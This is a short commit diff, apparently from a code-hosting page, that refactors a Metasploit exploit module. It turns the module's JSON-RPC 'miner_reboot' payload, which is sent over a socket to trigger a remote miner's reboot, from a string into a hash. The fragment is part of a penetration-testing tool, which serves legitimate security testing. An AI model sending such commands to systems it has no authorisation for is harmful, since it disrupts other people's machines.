refactor: replace last string with hash
parent
ae3e8dab78
commit
e9db949418
|
@ -96,7 +96,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def trigger_vulnerability
|
||||
execute = '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}'
|
||||
execute = {
|
||||
"id" => 0,
|
||||
"jsonrpc" => '2.0',
|
||||
"method" => 'miner_reboot'
|
||||
}.to_json
|
||||
connect
|
||||
sock.put(execute)
|
||||
buf = sock.get_once || ''
|
||||
|
|
Loading…
Reference in New Issue